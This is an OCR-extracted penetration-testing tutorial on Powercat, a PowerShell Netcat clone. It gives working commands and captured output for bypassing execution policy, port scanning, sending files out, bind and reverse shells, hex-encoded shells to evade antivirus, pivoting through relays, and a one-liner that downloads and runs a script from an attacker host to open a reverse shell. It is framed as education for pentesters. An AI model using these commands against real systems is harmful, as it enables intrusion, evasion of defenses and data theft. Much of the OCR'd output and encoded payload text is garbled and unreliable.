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Abstract

Powercat is a simple network utility used to perform low-level network
communication operations. The tool is an implementation of the well-known
Netcat in Powershell. Traditional anti-viruses are known to allow Powercat to
execute.

The installed size of the utility is 68 KB. The portability and platform independence
of the tool makes it an essential arrow in every red teamer’s quiver. In this report,
we'll demonstrate and learn the functionality of this tool.

Disclaimer: This report is provided for educational and informational
purpose only (Penetration Testing). Penetration Testing refers to legal
intrusion tests that aim to identify vulnerabilities and improve cybersecurity,
rather than for malicious purposes.
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Introduction

Powercat is a program that offers Netcat’s abilities to all current versions of Microsoft
Windows. It tends to make use of native PowerShell version 2 components.

We need to go to the website listed in the section of references. Users may download the link
because it is a Github website.

Basic Options in Powercat

Powercat supports various options to play around with. We’ll cover the following in this

article.

-l Listen for a connection

-C Connect to a listener

-p The port to connect to, or listen on
-e Execute
-ep Execute Powershell

-8 Generate Payload
-ge Generate Encoded Payload

-d Disconnect stream

-i Input data

Setting up Powercat

Powershell execution policy is a safety feature in Windows which determines which scripts
can or cannot run on the system, therefore, we need to set the Powershell execution policy to
“bypass.” This would allow all scripts to run without restriction. Thereafter, we need to
download Powercat using wget.

powershell -ep bypass

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl -o
powercat.psl
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ite\Desktop> powershell bypass
11

crosoft Corporation. All rights reserved.
:\Users\ignite\Desktop> wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl powercat.psl
:\Users\ignite\Desktop> 1s

Directory: C:\Users\ignite\Desktop

LastwWriteTime Length Name

10/13/2021 9:43 AM powercat.psl

Now that we have downloaded the Powercat script, we can import it into the current
Powershell terminal and then it could be used.

Import-Module .\powercat.psl

PS C:\Users\ignite\Desktop> Import-Module .\powercat.psl
PS C:\Users\ignite\Desktop> powercat

powercat - Netcat, The Powershell Version
Github Repository: https://github.com/besimorhino/powercat

his script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat? client.

Usage: powercat [-c or -1] [-p port] [options]

<ip> Client Mode. Provide the IP of the system you wish to connect to
If you are using -dns, specify the DNS Server to send queries to

Listen Mode. Start a listener on the port specified by -p.
Port. The port to connect to, or the port to listen on.
Execute. Specify the name of the process to start.

Execute Powershell. Start a pseudo powershell session. You can

declare variables and execute commands, but if you try to enter
another shell (nslookup, netsh, cmd, etc.) the shell will hang.

Relay. Used for relaying network traffic between two nodes.

_ -

Port Scanning

Powercat is equipped with the functionality to scan for open ports. It is able to do this by
attempting a TCP connection to the ports defined. For example, if I have to check for a
running service on port 21,22,80,443, we can do this by:

(21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}
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Note that here, we have appended port number as a list variable. The client mode (-c flag)
specifies the client to scan. As we can observe in the screenshot below that if the port was
found to be open, Powercat successfully set up a stream with the service. the disconnect
option (-d) flag specifies Powercat to disconnect the stream as soon as it gets open. Hence,
this is how open ports can be discovered using Powercat.

PS C:\Users\ignite\Desktop> (21,22,80,443) | % {powercat 192.168.1.150
/1 SE: Set Stream 1: TCP

Set Stream 2: Console

Setting up Stream 1...

Connecting. . .

Connection to (192.168.1.150:21| [tcp] succeeded!

Setting up Stream /...

-d (disconnect) Activated. Disconnecting...

Set Stream 1: TCP

Set Stream 2: Console

Setting up Stream 1...

connecting...

Connection to [192.168.1.150:22 |[[tcp] succeeded!
Setting up Stream Z2...

-d (disconnect) Activated. Disconnecting...

set Stream 1: TCP
Set Stream 2: Console
Setting up Stream 1...
Connecting. . .
Connection to 192.168.1.150:80 |[tcp] succeeded!
Setting up Stream Z...
-d (disconnect) Activated. Disconnecting...
Set Stream 1: TCP
Set Stream 2: Console
Setting up Stream 1...
Connecting. ..
Timeout!
Stream 1 Setup Failure
SE: Failed to close Stream 2
SE: Failed to close stream 1

File Transfer

File transfer is possible in Powercat by data input in the data stream and fetching it at the
client end.

Let’s create a text file called “notes.txt” in the current folder. Here, input flag (-i) is used to
input data in the stream. This can be used to move files, byte array object or strings too.

Now, we’ll first set up the listener at the client end. Let us use netcat in Linux for ease here.
After setting it up, we’ll then use Powercat to transfer this text file.

nc -lnvp 443 > notes.txt
powercat -c 192.168.1.3 -p 443 -i notes. txt
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PS C:\Users\ignite\Desktop> 1s

Directory: C:\Users\ignite\Desktop

LastWriteTime Length Name

10/13/2021 10:00 Am 6518 encodedshell.psl
10/13/2021 10:03 Am notes.txt
10/13/2021 9:43 AM /667 powercat.psl

PS C:\Users\ignite\Desktop> powercat 192.168.1.3 443 notes. txt

Now, whatever was in notes.txt has been transferred to our destination. As you can see, the
file is successfully created after a successful connection was terminated.

® ~/powercat

C notes.txt
listening on
connect to [1

Bind Shell

Bind shell refers to the process where the attacker is able to connect to an open listener at the
target machine and interact. To demonstrate this, we’ll set up a listener at the target using
Powercat and then connect to it. There are two scenarios here:

1. Netcat to Powercat: Here, the attacker is Kali and Windows has a listener running on it.
Attacker -> Kali
Victim -> Windows

In an ideal scenario, the attacker would deliver a code that gets executed to open a listener
and then allow the attacker to further communicate with the victim by connecting to it.

powercat -1 -p 443 -e cmd
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nc 192.168.1.145 443

PS C:\Users\ignite\Desktop> powercat

And thus, we observe that the interactive session is now active on the attacker machine.

® ~/powercat
192.168.1.145 443
Microsoft Windows [Version 10.8.17763.1935]
(c) 2018 Microsoft Corporation. ALl rights reserved.

C:%Usershignite\Desktop>

2. Powercat to Powercat: The same could be achieved between two Powercat scripts too. On
the listener, we set up port 9000 and the attacker to connect and deliver the cmd
executable.

Listener: Ignite (Windows username)

Attacker: raj (Windows username)

powercat -1 -p 9000 -e cmd -v

powercat -c 192.168.1.145 -p 9000 -v

PS C:\Users‘\ignite\Desktop> powercat
/ERBOSE: Set Stream 1: TCP

/JERBOSE: Set Stream 2: Process

JERBOSE: Setting up Stream 1...

JERBOSE: Listening on [0.0.0.0] (port 9000)

/JERBOSE: Connection from [192.168.1.45] port [tcp] accepted (source
JERBOSE: Setting up Stream 2...

JERBOSE: Starting Process cmd...

/JERBOSE: Both Communication Streams Established. Redirecting Data Bety

As you can see that the attacker is successfully being able to connect to the listener and
spawns an interactive session. We checked the identity using whoami.
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PS C:\Users\raj\Desktop> powercat 192.168.1.145 9000
/ERBOSE: Set Stream 1: TCP
/JERBOSE: Set Stream 2: Console
/JERBOSE: Setting up Stream 1...
/JERBOSE: Connecting...
/JERBOSE: Connection to 192.168.1.145:9000 [tcp] succeeded!
/JERBOSE: Setting up Stream 2.
/JERBOSE: Both Communication ntreams E5t1b115hed Redirecting Data Bet
licrosoft Windows [vVersion 10.0.17763.379]
(c) 2018 Microsoft Corporation. All r1ght5 reserved.

:\Users'\ignite>whoami
whoami
msedgewinl0Yignite

:\Users\ignite>_

Reverse Shell

Reverse shell refers to the process in which the attacker machine has a listener running to
which the victim connects and then the attacker executes code.

1. Netcat to Powercat: Here, Kali (netcat) is the attacker machine with the listener running on
port 443 and Windows running Powercat (victim) shall connect to it.

Attacker: Netcat (Kali)
Victim: Ignite (Windows username)

This is achieved by first running netcat in listener mode on the attacker machine and then
running powercat in client mode to connect.

nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe

:\Users\ignite\Desktop> powercat 192.168.1.3 443 cmd. exe

As you can see, as soon as the victim enters the Powershell command, we get an interactive
shell
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. ~/powercat

C 443
listening on [any] 443 ...
connect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49936

Microsoft Windows [Version 10.8.17763.1935]
(c) 2018 Microsoft Corporatiom. All ghts reserv

C:\Us

2. Powercat to Powercat: The same can be done with two Windows devices too.
Attacker: Ignite (Windows Username)
Victim: raj (Windows Username)

Let’s set up a listener on port 9000 first and then run powercat in client mode to connect to it.

powercat -1 -p 9000 -v

powercat -c 192.168.1.145 -p 9000 -e cmd -v

PS C:\Users\raj\Desktop> powercat 192.168.1.145 9000 cmd
JERBOSE: Set Stream 1: TCP

/JERBOSE: Set Stream 2: Process

JERBOSE: Setting up Stream 1...

/JERBOSE: Connecting...

/JERBOSE: Connection to 192.168.1.145:9000 [tcp] succeeded!
/JERBOSE: Setting up Stream 2...

/JERBOSE: Starting Process cmd. ..

As you can see, an interactive shell has been spawned by connecting to this listener.

PS C:\Users\ignite\Desktop> powercat

/ERBOSE: Set Stream 1: TCP

/ERBOSE: Set Stream 2: Console

JERBOSE: Setting up Stream 1...

JERBOSE: Listening on [0.0.0.0] (port 9000)

/ERBOSE: Connection from [192.168.1.45] port [tcp] accepted (source po

/JERBOSE: Setting up Stream 2...

/JERBOSE: Both Communication Streams Established. Redirecting Data Betwe
1icrosoft wWindows [Version 10.0.18362.53]

(c) 2019 Microsoft Corporation. All rights reserved.

:\Users\raj\Desktop>_

But of course, the above Powercat command at the victim’s end is just a simulation of how
gaining an interactive shell through remote code execution in real life would work.

Page | 10



Iﬁ Michael Tchuindjang Credits to Hacking Articles .II

Standalone Shell

The option is useful for when a script can be executed in the system. This allows an attacker
to code a reverse shell in a “.ps1” file and wait for the script to be executed. Scenario 1: Let’s
say a cron job is running that executes a script that has to write access. One can copy-paste
the following command to get reverse shell easily even with no Powershell command
execution access.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.psl

.\shell.psl

:\Users\ignite\Desktop> powercat 192.168.1.3 443 cmd. exe > shell.psl
:\Users\ignite\Desktop> 1s

Directory: C:\Users\ignite\Desktop
LastWriteTime Length Name
10/13/2021 9:43 AM powercat.psl

10/13/2021 9:58 AM y shell.psl

PS C:\Users\ignite\Desktop> .\shell.psl

Make sure the listener is running. We are using Kali as an attacker machine using netcat.
nc -lnvp 443

® ~/powercat

listening on [any] 443 ...
onnect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49938

\icrosoft Windows [Version 10.0.177 35]
(C) 2818 Microsoft Corporation. All rights reserved.

Z\Usershignite\Desktop>

As you can see, there are multiple ways to get an interactive shell on the target machine using
netcat.
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Encoded Shell

To evade traditional security devices like Anti-Virus solutions, we can encode the shell that
we used above. Powercat has a good feature to encode a command to Hexadecimal Array.
This way, some of the basic security features can be bypassed. This is done by:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.psl

PS C:\Users\ignite\Desktop> powercat 192.168.1. 443 cmd. exe > encodedshell.psl
S C:\Users\ignite\Deskto cat .\encodedshell. psl
ZgBlAGAAYwWBOAGKkAbwBuUACAAUWE0AHTAZOBhAGOAMQB FAFMAZQBOAHUACAAKAHS ACQAKAC AATAAQACAACABhAHTAYQB tACgAJAB(
\AdQBuAhMAHwB]AHQAdQBwAF\A\QByAHMACquACAAIAAthkAZquACQAZwBSAhRA\thAuwAOqEWAhHAch1AhﬂAch]ACkAeL
AEAAewBIAAOATAAGACAATABPAGYAKAAhACQABAAPAACATAAGACAATAB7 AAOATAAGACAATAAGACAAIABGAHUAbGE JAF YAYQBYAHM/
AtAEBAYgBqAGUAYWBOACAAUWBSAHMAJAB 1AGOAL gBOAGUAdAAUAFMAbWE jAGS AZQBOAHMAL gBUAGMACABDAGWAAOB 1AGAAdAAKA(
LgAKACAATAAQACAATAAGACOAS SABhAG4 AZABSAGUATAAIACAAIABTAGEBAYWB rAGUAdAAUAE IAZQBI‘IA(;I(ADGBDA(; F\Aquu AGUAYWB
UAC gAgACAATAAQAHS ACgAGACAATAAGACAATAAKAE YAdOBUAGMAVgBhAHTACWBbACTAbAAT AFDATAAIACAAIABUAHIAAQE 1AADAT S
AF s AMAAUADAAL qALvAC4Ah1AB dACAAKABWAGSACgB0ACAATgAgACSATAAKAHAATAArACAATgAPACTIAKQAKACAATAAGACAATAAGACQA
B rAGUAJABzZACA4AVAB jAHAATAE PAHMAJAB TAGA AZQBYACAAJABWAAOATAAGACAATAAGACAAIABTAGSAYWB rAGU JAdAAUAFMAdABhA
0B j A(.-.MAZQE WAHQA\ AE’ 3 j AHAAQWE sA(;kAZQE’ I.JAHQAKAAk A(;il AdQE SAL-.WAL AAqAC QAqu lA(_-uwAbAApAAc:AI AAqACAAI AE QAAC:AIAA {
R A 0 0 J

And then the shell can be run by using the powershell -E option which can execute an
encoded string.

powershell -E <string>

The string is then encoded value from above.

PS C:\Users\ignite\Desktop> powershell ZgB1AG4AYwWBOAGK AbwBUACAAUWBOAHIAZQBhAGDAMOB
QBUAGMAUWE 1 AHQAdQBWAF YAYQBYAHMAL gAQALAALAAGAGKAZ gADACQAZY 8AYgBhAGWAOgBWAGUACGE 1 Al
ACAATABTAAOATAAGACAATAAGACAATABGAHUADGE j AFYAYQBYAHMAWwWA T AGWAT gBdACAAPQAGACQARGBhAGWACH
AdAAKACAATAAGACAATAAQAF CACBpAHQAZ QAT AF YAZQBYAGIAbwBZAGUAIAAT AEMAbWBUAGAAZQB j AHQAQBU!
BuAHUAbABS ACKACQAGACAATAAGAHOACGAGACAATAAGAGUADAB ZAGUAC gAGACAATAAGAHS ACAGACAAT AAGACAS
GBAbgAgAFs AMAAUADAAL gAWACSAMABdACAAK BOACAAT gAgACSATAAKAHAATAAr ACAAT gApACTAKQ)
ZOByACAAIABWAADATAAQACAATAAQACAATABTAL vBr AGUAdAAUAFMAdABhAHIAdAADACKACgAQACAATAAGAC
gACAAIABQAADAIAAgACAAIAAKACAAIAAgACAAJABTAHQAbWBWAHcAYQBDAGMA&AAQADDAIABbAFMAEQBZAHQ'
AATAAgQAHSACgAGACAATAAGACAATABPAGYAKAAKAE gAbwBZAHQAL gBVAEKAL gBSAGEAdWBVAEKAL gBLAGUAEQRH
QBJAC4AUGBhAHCAVQBIACSAUGE 1 AGEAZ ABLAGUAeQADACTATgBVAEUAYWBOAG AEJAG4A\PEJAHUALAE1AE
ACAAIAAQAF:A:ngAHQAZQAtAF? AZQByAGIAbwWBzAGUATAATAEMAVABSAEWATABVAHIATABFAFMAQwW!

AKQB7ACQAU GMAawB 1 AHQAL gBTAHQAbWBWACGAKQBOAACATAAGACAATAAGACAATAAGACAATAB TA -
B1AHIAZQBhAGSACGAGACAATAAGACAATAAGACAA FQAKACAATAAGACAATAAGAHOAC GAGACAATAAGACAATABDAGY!
CAAaQBMACGATQAKAGWAKQB7ACQAUY MAawE 1 AHQAL gBDAGWAbWB ZAGUAKAAPAHOACGAGACAATAAGACAATAL
TABXAHIAaQBOAGUALQBWAGUACGB 1 AGBACWB 1 ACAATgBUAGKABQB 1 AGBAdQBOACEATgAGADSATABR AHIAZQBhAC

We had set up a listener in our attacker machine (kali) beforehand and were waiting for the
connection. As you can see the shell is getting executed successfully.
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- ~fpowercat

listening on [any] 443 ...
connect to [192.168.1.3] from (UNKNOWN) [192.168.1.145] 49942

Ft Windows [ 18.8.17; 5]
2018 Microsoft Corporation. All rights reserved.

C:\Usershignite\Desktop>

Tunnelling

Tunnelling is the most efficient mechanism of maintaining stealth while doing red team
operations or even in real-life scenarios. Powershell and Powercat can help us with tunnelling
and hiding our identity next time we conduct a red team assessment.

Here, there are three machines. Here, the Attacker communicates with a machine with two
LAN cards and attacks a machine running on an alternate subnet (192.168.146.0/24)

Attacker Ui, Victim

IPs: 192.168.1.45, :
192 168.146.128 IPs: 192.168.146.129

0S: Windows .. User: Metasploitable
User: raj

User: ignite

Now, let’s assume the attacker already has access to the tunnel machine. We’ll replicate the
scenario using the Enter-PSSession command. This utility allows us to get an interactive
Powershell terminal of the tunnel with the help of credentials.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj

Page | 13



Ir Michael Tchuindjang Credits to Hacking Articles I |

:\Users\ignite\Desktop> Enter-PSSession 192.168.1.45

Windows PowerShell credential request

=

o \

Enter your credentials.

User name: | € s

Password: | ses|

Cancel

After we input the credentials, we can see that an interactive PowerShell session has been
spawned.

We run ipconfig as a validator command however, we made an interesting observation. This
machine had two LAN cards configured and there was another adapter attached. It is possible
that other machines are running on this subnet.

' sels\1qn1te\Desktop. Enter-PSSession 192.168.1.45
8.1.45]: Ps C:\Users\raj\Documents> ipconfig

indows IP Configuration

thernet adapter EthernetO:

Connection-specific DNs suffix

Link-Tocal IPv6 Address e .. 3 c4:3426:54d5: 2ef4%6
IPv4 Address. T .45

Subnet Mask . . . . . . . . . . . : 5.255.0

Default Gateway . . . . . . . . . : 192.168.1.1

thernet adapter Ethernetl:

Connection-specific DNS S ix . : localdomain

Link-local IPv6 Address . . . . . : fe80::5012:c45d:d4ed:255a%8
IPv4 Address. . . . . . . . . . . :192.168.146.128

Subnet Mask . . . . . . . . . . . 1 255.255.255.0

Default Gateway . .- :

To work on our observation, we’d need Powercat in this system. We download it using wget.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl -o
powercat.psl

H \U \ \Documents> wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl powercat.psl
[102.168.1. \Users\ \Documents> 1s

Directory: €:\Users\raj\Documents

LastwriteTime Length Name

10/12/2021 1:34 pm 7667 powercat.psl
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But before we can run this script, we need to change the execution policy again. Also, upon
little searching, we found that 192.168.146.129 was alive and responding. Let’s scan this
system using Powercat

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned

Import-Module .\powercat.psl

(21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $ -t 1 -Verbose -d}

As you can see, there were three ports open: 21,22,80

S C:\Users\raj\Documents -ExecutionPolicy RemotesS
\Users\raj\Documen ort-Module .\powercat.psl - -
\Users\raj\Documents: 22, 80, 443) | % { powercat 192.168.146.129
3 el

ohnecti 0/192.168.146.129:21 [tcp] succeeded!
ting up Stream 2. .
{ connect) Activated. Disconnecting...
ream 1: TCP
tream 2: Console

.129:22 |[tcp] succeeded!

. Disconnecting. ..

.129:80| [tcp] succeeded!
. Disconnecting. ..

tream 2: Console
etting up Stream 1...
: Connecting. ..
: Timeout!
eam 1 Setup
: Failed to clos
:_Failed to clos

Now, if we set up a traffic relay here, our attacker system might be able to communicate and
connect with SSH on the victim machine (192.168.146.129)

We’ll use Powercat to set up a traffic relay:

powercat -1 -p 9090 -r tcp:192.168.146.129:22 -v

b&.1.45]: PS C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:27
Set Stream 1: TCP
Set Stream 2: TCP
Setting up Stream 1...
: Listening on [0.0.0.0] (port 9090)

As you can see above, TCP traffic from port 22 on 192.168.146.129 is now being relayed by
192.168.146.128 (tunnel) on port 9090. Thus, from an external system, we use PuTTY to
connect to the tunnel machine’s 9090 port which will connect us to the victim machine.
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[192. le 1.45]: PS C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:22
Set Stream 1: TCP
Set Stream 2: TCP
Setting up Stream 1...
Listening on [0.0.0.0] (port 9090)
@ PuTTY Configuration

Category:
= S_ession Basic options for your PuTTY session
i ~~Logging Specify the destination you want to connect to
= Teminal dd Port
Keyboard I address) o
Bl [192.168.1.45 | |lsos0l | |
i Features Connection type:

@®5S5H (O Seral (O Cther: | Telnet

Appearance

Behaviour Load, save or delete a stored session
i-- Translation
- Selection
- Calours
=- Connection Default Settings

Saved Sessions

Close window on exit:
O Mways (O Never (® Only on clean exit

|192. le 1.45]: Ps C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:22
Set Stream 1: TCP
Set Stream 2: TCP
Setting up Stream 1...
Listening on [0.0.0.01 (port 9090)
Connection from [[192.168.1.145] port [tcp] accepted (source port 49859)
Setting up Stream /...
Connecting. . .
Connection to[192.168.146.129:22| [tcp] succeeded!

We can use Powercat to setup relay on port 80 too through which we’ll be able to access the
website running on victim.
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powercat -1 -p 9090 -r tcp:192.168.146.129:80 -v

As evident, the victim is now accessible through this tunnel.

92.168.1.45]: Ps C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:80
Set Stream 1: TCP
t Stream Z2: TCP
Setting up Stream 1...
Listening on [0.0.0.0] (port 9090)
Connection from [192.168.1.145] port [tcp]l accepted (source port 49881)
Setting up Stream 2...
Connecting. ..
: Connection to 192.168.146.129:80 [tcp] succeeded!

Metasploitable2 - Linux x ar

C O & 192.168.1.45:9090 wg—

fadmin to get st

Powercat One Liner

Powercat’s reverse shell exists as a one-liner command too. Assume that we have code
execution on the victim, we can use Powercat’s one-liner to get a reverse shell back on the
listener running on the attacker’s machine. For this process, we need to download Powercat
in a separate folder and run a web server.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl -o
powercat.psl

python -m SimpleHTTPServer 80
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~fexploit
githubus
51— https C morhino/pow er/powercat.
githubusercontent.com ( .com) ... 185.199,111.1 185.199.118.

powercat.psl

2021-18-11 13 156 (2.42 MB/s) - ‘powercat.psl’

~fexploit
SimpleHTTPServer 80

Now, we’ll set up a listener on port 4444 in the attacker (kali) machine immediately.
Meanwhile, we have code execution on the target and thus, we’ll use the following
Powershell/Powercat one liner:

powershell -c "IEX(New-Object
System.Net.WebClient) .DownloadString('http://192.168.1.3/powercat.psl') ;powercat -c
192.168.1.3 -p 4444 -e cmd"

3 -p 4444 -e cmd”

listening on Lah ..
192.168.1.145: e host lookup failed: Unknown host
connect to [192.168. 3] from (UNKNOWN) [192.168.1.145]
Microsoft Windows [Version 18.8.17763. 1

?@18 Microsoft Corporation. All rights reserved.

vhoami
whoami
msedgewin
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Conclusion

We have demonstrated various functionality of Powercat in this report. The tool
is being readily used in red team assessments and becoming part of major cyber
security certification courses. Hope the article helps pentesters to understand the
tool in a simple and effective way.

Hence, one can make use of these commands as a cybersecurity professional to
assess vulnerabilities on systems and keep these systems away from threat.
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